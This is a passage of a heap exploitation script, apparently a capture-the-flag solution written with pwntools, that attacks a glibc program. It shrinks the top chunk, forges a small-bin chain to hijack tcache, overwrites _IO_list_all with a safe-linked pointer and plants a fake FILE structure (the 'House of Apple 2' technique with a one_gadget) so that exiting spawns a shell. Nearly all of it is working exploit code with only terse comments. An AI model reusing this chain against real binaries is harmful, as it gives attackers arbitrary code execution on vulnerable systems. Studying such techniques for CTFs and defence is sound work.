# Step 3, shrink old top_chunk and put it in small bin malloc0x10() # clear the remaining tcache chunk free() malloc(True, b'0'*0x50 + # the size of "small bin" we can control is 0x21 p64(0) + p64(0x21) + p64(libcBase + arena + 0x60)*2 + # shrink chunk size from 0xcf1 to 0x21 p64(0x20) + p64(0x10) + p64(0) + p64(0x11)) # 2 lookout chunks to make forced chunk legal malloc0x1000() # trigger malloc_consolidate()
# Step 4, force a small bin chain to control tcache heap = heapBase + 0x310 free() malloc(True, b'0'*0x50 + p64(0) + p64(0x21) + p64(heap) + p64(heap + 0x20) + p64(0) + p64(0x21) + p64(heap) + p64(heap + 0x40) + p64(0) + p64(0x21) + p64(heap + 0x20) + p64(libcBase + arena + 112) + # main_arena + 112 is the "bin" to end p64(0x20) + p64(0x10) + p64(0) + p64(0x11)) # small bin stashing for chunks with this size free() malloc(False, b'\n') # trigger small bin stash to tcache free() # before: tcache entry -> heap -> heap + 0x20 -> heap + 0x40
# Step 5, overwrite the fd of first chunk and put it on tcache entries malloc(True, b'0'*0x50 + p64(0) + p64(0x21) + p64(PROTECT_PTR(heap, ioListAll))) malloc0x10() # later : tcache entry -> _IO_list_all -> ???
# force House of Apple 2 file = flat({ # heap - 0x50 to align with the beginning of the large chunk 0x0: b' sh;', # flag NOTE will be overwritten when free 0x28: 1, # _IO_write_ptr 0x68: libcBase + 0xebcf1, # NOTE so we can only use one_gadget (2.39 not available) 0xa0: heap - 0x50, # _wide_data 0xd8: wjumps, # vtable 0xe0: heap - 0x50# wide data vtable }, filler=b'\0')
# Step 6, write fake file and then write _IO_list_all dbg() free() malloc(True, file) # write the whole structure free() # but flag is overwritten when free malloc(False, p64(heap - 0x50)) # write fake file on _IO_list_all eout() # exit to trigger House of Apple 2